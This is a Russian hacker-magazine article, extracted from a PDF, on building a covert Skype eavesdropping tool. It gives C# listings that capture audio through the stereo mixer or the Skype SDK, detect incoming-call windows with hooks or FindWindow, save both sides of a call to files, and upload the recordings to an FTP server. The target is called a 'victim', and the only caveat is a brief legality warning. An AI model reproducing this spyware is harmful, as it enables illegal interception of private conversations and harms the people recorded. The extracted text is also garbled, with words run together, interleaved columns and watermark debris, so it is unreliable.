|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
Õакера же все это голосовое общение может только расстроить. Ведь теперь гениальные keylog’еры, которые он научился мастерить из подручных инструментов, начинают нервно курить в сторонке. Общение голосом хуками не перехватишь! Что же делать? Смириться и
уходить на заслуженную ][-пенсию? Ни в коем случае! Я провел все необходимые исследования по захвату скайп-переговоров (редактор рубрики обещал поставить смертельную инъекцию, если я их не закончу) и прямо сейчас готов поделиться их результатами. Let’s go!
СПОСОБЫ ПЕРЕХВАТА
Сцельюмыопределилисьитеперьнужноначитатьсяскучнойтеории, безкоторойвтакомделепродвинутьсянереально. Прогуляйсяпоулице, сварисебечашечкуглинтвейна, расположисьудобнеевкреслеиначинайвпитыватьсвященныезнания.
СПОСОБ #1
Буквальновначалеоктября2009 годаодинумелецнаписалпродвинутый снифер, окоторомнаписаливовсехsecurity-ресурсахвсемирнойпаути- ны. Есливеритьновостямиавторуснифа, товыходит, чтоперцуудалось перехватитьскайп-трафик(ну, этоможнобылосделатьираньше) и, что самоеглавное— расшифроватьего.
Обойтитакоесобытиесторонойянемог, поэтомунемедленнорешил найтизаветныйисходничек(авторсниферабылчертовскидобривыложилнапабликполныйсорец), ножесткообломался. Врагинарода убрализаветныйсорецссабжевогосайта, ачасовоймарш-бросокпо гуглунормальныхрезультатовнедал. Мнелишьпопадалиськакие-то нерабочиесорцы.
Совсемотчаявшись, яплюнулнаэтотвариант. Стоп! Еслиничегоневышло, тозачемявсеэтотеберассказываю? Всепросто, ситуацияменяется каждыйденьивполневозможно, чтокмоментувыходастатьивсветна просторахвсемирнойпаутиныпоявятсярабочиесорцыэтоготройчика. Чемчертнешутит. Учти, еслиудастсянайтизаветныйисходник, то считай, чтоутебяврукахвсекозыриитеперьвсескайперыстанутдля тебямишенями.
СПОСОБ #2
Несомненно, первыйспособ— самыйлучший, носреализациейреальныйнапряг. Будуоткровенен: яужеотчаялсяихотелположитьнавсюзатеюжелезныйболт, норедакторрубрикибылдругогомнения. Послепары намеков, двухударовпопочкамипечениянесмоготказатьвподготовке материала. Какоказалось, сделаляэтонезря.
Еслинеполучаетсядостичьцелинапрямую, тонужнозаходитьстылу. Так поступиливашпокорныйслуга. Идеяпростадобезобразияи, возможно, тыужедажеюзалэтуфичудлякакого-нибудьблагогодела.
Небудуходитьвокругдаоколо, араскроювсекарты. Итак, вгорячомной любимыхоперационныхсистемахотMicrosoft естьтакаяфича— стереомикшер. Немногиезнают, чтоблагодаряэтой, казалосьбы, бесполезной приблудеикакого-нибудьязыкапрограммированияреальносварганить полноценногоskype-шпиона.
Активируйвсвоей(илинесовсемсвоей?) системестерео-микшер, итебе становятсяподвластнымиобазвуковыхпотока— тот, которойидетна микрофонисоответственнотот, которыйпоступаетнаколонки/наушники. Догадываешься, кчемуяклоню? Всеверно, чтобызарипатьбеседудвух людейпоскайпу, тебелишьпотребуетсявоспользоватьсястандартным WinAPI/объектамидлязаписизвукасмикрофона.
Сделатьэтодостаточнопростоиубедитьсявэтомтысможешь, взглянув наврезку1. Внейяпривелчастькода, отвечающегозазаписьзвука. Не торописьвсеэтопереписывать, сразуонутебявсеравнонескомпилится. Увы, несмотрянавсюмощьибезграничныевозможности.NET Framework, внемсовершенноотсутствуютинструментыдлязаписи звука. Несомненно, вбудущихверсияхэтотпробелбудетвосполнен, но мы-тождатьнеможем!
Многие.NET-разработчикидляорганизациивсвоихприложениях возможностизаписизвукаиспользуютбанальныевызовыAPI-функций.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Вариантнеплохой, нокрайненеудобный. Япошелнесколькодругим путемивоспользовалсянаработкамиMark Heath.
ЭтотчеловекпотрудилсянаславуисоздалпроектNAudio — аудиоредакторсоткрытымисходнымкодом. ВрамкахпроектаМаркнаписалкаркас, позволяющиймаксимальноудобновзаимодействоватьсразличными WinAPI-функциямидляработысозвуком.
NAudio доступеннанашемDVD. Простоподтяниегомодуликсвоемупроектуитебестанутдоступнывсенеобходимыеклассы. Записыватьзвукс ихпомощьюкрайнепросто. Даты, наверное, вэтомужеубедился:).
ВсамомначалелистингаяопределяюформатWAV-файла.Дляэтогомне требуетсяустановитьколичествоканалов(внашемслучаебудемписатьв mono)ичастотусэмпла.Кроменастроекформатааудиофайла,мнетребуется определитьустройство(devicenumber),скоторогомыбудемзахватыватьзвук. Яустанавливаю0,чтосоответствуетустройствузаписи«поумолчанию». Узнаватьобочереднойпорциипоступившихназвуковуюкартуданных намможетсобытиеwaveIn_DataAvaible(). Еслионосработало, тозначит пришлиданныеиихтребуетсязаписать.
А ВОТ И ПЕРВЫЕ МИНУСЫ
Неспешипускатьслюниипытатьсявпопыхахсотворитьзловредадля Skype. Предложенный мнойспособхорошиполностьюработоспособен, ноунегоестьнесколькоминусов, окоторыхтебенеобходимоузнатьзаранее. Некоторыеизних:
1.Нет никаких гарантий, что в системе пользователя стерео-микшер вообще будет активен. Да, он включен по умолчанию, но многие пользователи принудительно отключают его. Зачем? Лично мне приходится это делать из-за того, что я пишу подкасты и мне крайне важно, чтобы звук захватывался лишь с моего микрофона, а не голоса соведущего. Твояпрограммадолжнабытьготовактакомуположениюделивслучае чегосуметьсамостоятельновнестинужныенастройки. Вотздесьвозникаютнебольшиесложности, норазвекто-тоговорил, чтобудетсовсем просто?
2.Нет четкого ориентира, на который можно опереться и 100% заверить, что именно сейчас пользователь начал общаться со своим собеседником. На одном из кодерских форумов для решения данной траблы предлагали следующий способ: анализировать звук, поступающий на микрофон и в случае обнаружения больших скачков звуковой волны (т.е. когда человек начинает орать/говорить) приступать к записи. Для прерывания следует руководствоваться примерно таким алгоритмом
— ждем тишины и, если она длится более n минут, прекращаем захват звука.
Предложенныйалгоритм, несомненно, хорош, новописанномвыше видеимлучшенепользоваться. Попробуюобъяснить, почему. Заюзав данныйспособвчистомвиде, тырискуешьнапоротьсянабольшоеколи-
ЗАПИСЫВАЕМЗВУК
//Подготавливаемся к записи waveIn = new WaveIn(); waveIn.DeviceNumber = 0;
waveIn.DataAvailable += waveIn_DataAvailable; int sampleRate = 8000;
int channels = 1; waveIn.WaveFormat = new WaveFormat(
sampleRate, channels); waveIn.StartRecording();
void waveIn_DataAvailable(object sender, WaveInEventArgs e)
{
if (recordingState == RecordingState.Recording) writer.WriteData(e.Buffer, 0, e.BytesRecorded);
…
}
XÀÊÅÐ 01 /133/ 10 |
095 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
|
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|||
w Click |
to |
BUY |
|
|
|
|
|
CODING |
|||
|
|
|
|
|
|
m |
|||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|||
|
|
|
|
-xcha |
|
|
|
|
|
WARNING |
warning
Подслушивание
чужихразговоров— прослушкa глубоконезаконная
вещь. Используй полученнуюинформациютолькодля созданиябэкапера своихразговоров!
DVD |
dvd
Всеиспользуемыев статьеинструменты (библиотеки, классы, SDK) тынайдешьна нашемDVD.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
ИНСТАЛЛИРУЕМ SDK ВОДИНКЛИК
УСТАНОВКА БИБЛИОТЕКИ ВЗАИМОДЕЙСТВИЯ СО СКАЙПОМ
честволожныхсрабатываний. Еслинавражескойтерриториимикрофонлежитвозлеколонок, изкоторыхбезустали звучитheavy metal, тотвойтройбудетпостоянновести запись, ивовремясбораурожаятыобнаружишь, чтоутебя появилсясборниквсехлюбимыхтрековтвоейжертвы. Что жетогдаделать? Надеятьсянаавосьиписатьвсеподряд? Можно, ноэтокак-тонепо-хакцерски.
Япровелнебольшоймозговойштурмипришелквыводу, чтоозвученнымвышеспособомпользоватьсяможно, но толькопредварительноорганизовавстраховку. Страховка можетбыть, какминимум, двухвидов:
1. ÕÓÊÈ. В нашем журнале мы неоднократно описывали технику применения хуков, и еще раз расписывать все подробности и, тем более, приводить примеры, меня сильно обламывает. Ты уже не маленький и такие вещи должен знать :). Я лишь подскажу алгоритм:
A.Ставим хук на обработку создания новых окон.
B.Реализуем проверку, в которой обрабатываем каждое
096 |
XÀÊÅÐ 01 /133/ 10 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
СКАЙПТРЕБУЕТРАЗРЕШЕНИЯНАЗАПУСК
вновь созданное окно. В коде проверки мы должны смотреть на: родителя окна, класс окна, заголовок и т.д. По этим признакам мы можем распознать окно входящего Skype-звонка и в случае чего начать запись. 2. ФУНКЦИИ ДЛЯ РАБОТЫ С ОКНАМИ. Вторым вариантом решения задачи будут хорошо знакомые тебе WinAPI-функции для работы с окнами. Ты ведь еще помнишь такие слова, как FindWindow, EnumWindows, EnumChildWindows и т.д.? С помощью этих API реализовывается банальный поиск окна входящего звонка. Если окно найдено, то это означает, что жертва начала базарить по скайпу, в противном случае нужно выполнить поиск чуть попозже. Периодичность поиска должна быть минимальной, иначе ты рискуешь пропустить секретные звонки.
СПОСОБ #3
Ивотмымедленно, новернодобралисьдосамогопростогоиудобного способазаписиskype-бесед. Немногиезнают, чторазработчикиSkype
ЗАПИСЬВХОДЯЩИХЗВОНКОВВФАЙЛ
try
{
// Запись входящего звонка
if (status == TCallStatus.clsInProgress)
{
//Захватываем звук и сохраняем его в //файл (поток пользователя) call.set_CaptureMicDevice(
TCallIoDeviceType.callIoDeviceTypeFile, @"C:\temp\sound_user" + call.Id.ToString() +
".wav");
//Захватываем звук и сохраняем его
//в файл (всех остальных собеседников) call.set_OutputDevice(
TCallIoDeviceType.callIoDeviceTypeFile, @"C:\temp\sound_people" + call.Id.ToString()
+".wav");
}
}
catch (Exception e)
{
//Выведем ошибки AddTextToTextBox1(DateTime.Now.ToLocalTime() +
": " +
"Our Code — Невозможно выполнить захват аудио: " + call.Id.ToString() +
"— Источник ошибки: " +
e.Source +
" — Текст ошибки: " + e.Message + "\r\n");
}
РАЗРАБОТКА
поощряютлюдей, имеющихжеланиеразрабатыватьвсякиеполезняшки дляихдетища. Самопоощрениевыражаетсявразработкеиобновлении официальногоSDK.
На основе компонент, входящих в SDK, программисты могут создавать аддоны или просто приложения на базе Skype. В качестве одной из вкусностей этого наборчика можно выделить наличие примеров для разных популярных языков программирования. Тут тебе и C++, и C#, и даже великий и могучий Delphi не забыт (кстати, не все в курсе,
FTP-КЛИЕНТСРЕДСТВАМИКЛАССА НАОСНОВЕКЛАССАFTPDOT.NET
try
{
FtpConnection myFtpConnection = new FtpConnection();
myFtpConnection.MessageReceived += new FtpConnectionEventHandler(
connection_MessageReceived);
myFtpConnection.Host = "ftp://myftpserver";
myFtpConnection.UserName = "username"; myFtpConnection.Password = "password"; myFtpConnection.RemoteDirectory =
"/temp/testforxakep";
myFtpConnection.Upload(
@"C:\temp\sound.part1.mp3",
"sound.part1.mp3");
}
catch (WebException ex)
{
Console.WriteLine(ex.ToString());
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
void connection_MessageReceived(object sender, FtpConnectionEventArgs e)
{
Console.WriteLine(e.Message);
XÀÊÅÐ 01 /133/ 10 |
097 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
CODING
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
ФОРУМПОДДЕРЖКИ РАЗРАБОТЧИКОВ
но сам Skype написан на Delphi). Одним словом, этот SDK — рай для |
ПерейдивредакторкодаинайдиописаниеметодаOurCallStatus. Вего |
программистов, решивших поковырять Skype. |
телеописанополучениеразличнойинфыотекущемзвонке. Этовсе |
ДлянасстобойSDK — этодажекруче, чемрай. Набазеэтогокаркаса |
хорошоибезумноинтересно, номыхотимдругого. Сотриимеющийсякод, |
мысможемнетолькозаписатьголосовоеобщениепользователя, нои |
ивместонегоперепишисодержимоетретьейврезки. Покатыбудешь |
перехватитьполученныеиотправленныеимтекстовыесообщения, фай- |
переписывать, ярасскажуотом, чтотампроисходит. |
лы, совершитьзвонокотегоимениит.д. Нонебудембежатьвпереди |
Всамойпервойстрокеявыполняюпроверкуисравниваюзначениепе- |
паровоза, восхваляято, чтоещепробовали, апознакомимсясовсеми |
ременнойstatus ссозначениемclsInProgress перечисленияTCallStatus |
нюансаминапримере. ЛезьнанашDVD иустанавливайSDK. Установка |
(ух, настальгическаядельфячьябуковкаT передименемтипа:)). Еслиони |
недолжнавызватьзатруднений. ПростозапустифайликизпапочкиSDK |
равны, тобеседавсамомразгареипораначинатьзаписьзвука. |
исоглашайсясовсем, чтоутебяспросят. Завершивустановку— за- |
Теперьприготовьсяинеупадисостула, когдаузнаешь, чтозаписьосу- |
пускайVisual Studio (яиспользовал2008-юверсию) исоздавайновый |
ществляетсявсеголишьоднойстрокой: |
проект. ВкачестветипапроектавыберишаблонSEHEwc. |
|
Покаутебясоздаетсяпроект, явкратцерасскажупрошаблонSEHEwc. |
call.set_CaptureMicDevice( |
Поправдеговоря, этонесовсемшаблонвпривычномнампонимании. |
TCallIoDeviceType.callIoDeviceTypeFile, |
Вреалеэтополноценныйпример, демонстрирующийвсевозможности |
@"Путь, куда сохранять" + |
хваленогомнойSDK. Демканаписанаоченьхорошоиразбиратьсявее |
call.Id.ToString() + ".wav"); |
кодеодноудовольствие. |
|
|
|
До начала погружения в код стартани свой скайп и запусти |
Впервыйпараметрметодаset_captureMicDevice требуетсяпередать |
созданный прожект (я сейчас про шаблон). При выполнении ис- |
устройство, накотороебудетвыведенпотоксмикрофона. Типыустройств |
ходника скайп преданно отрапортует, что такое-то приложение |
хранятсявперечисленииTCallIoDeviceType. Мыхотимзахватыватьзвук |
пытается получить доступ к его функциям. Давай добро и попро- |
вфайл, поэтомуставимcallIoDeviceTypeFile. Второйпараметрзависитот |
буй отправить через скайп текстовое сообщение. Не успеешь |
первого. Внашемслучаевнемпередаетсяпутькфайлу, вкоторыйбудем |
его запулить, как весь отправленный текст появится в текстовом |
сохранятьрезультатзаписи. |
поле. Это означает, что демонстрационный пример успешно |
Обративнимание, чтовызовомметодаset_captureMicDevice мысо- |
работает. |
хранимлишьголоснашейжертвы, ате, скемонаговорит— останутся |
Мощностьпримераневызываетсомнений. Напервыйвзглядможет |
закадром. Записыватьсобеседниковмыбудемприпомощиметода |
показаться, чтоегокоддаетответынасамыеизощренныевопросы, |
set_OutputDevice: |
связанныеспрограммированиемскайпа. Носамаянужнаядлянасфича— |
|
записьразговоров, внем, увы, нереализована. Чтож, будемисправлять |
call.set_OutputDevice( |
ситуацию. |
TCallIoDeviceType.callIoDeviceTypeFile, |
|
|
098 |
XÀÊÅÐ 01 /133/ 10 |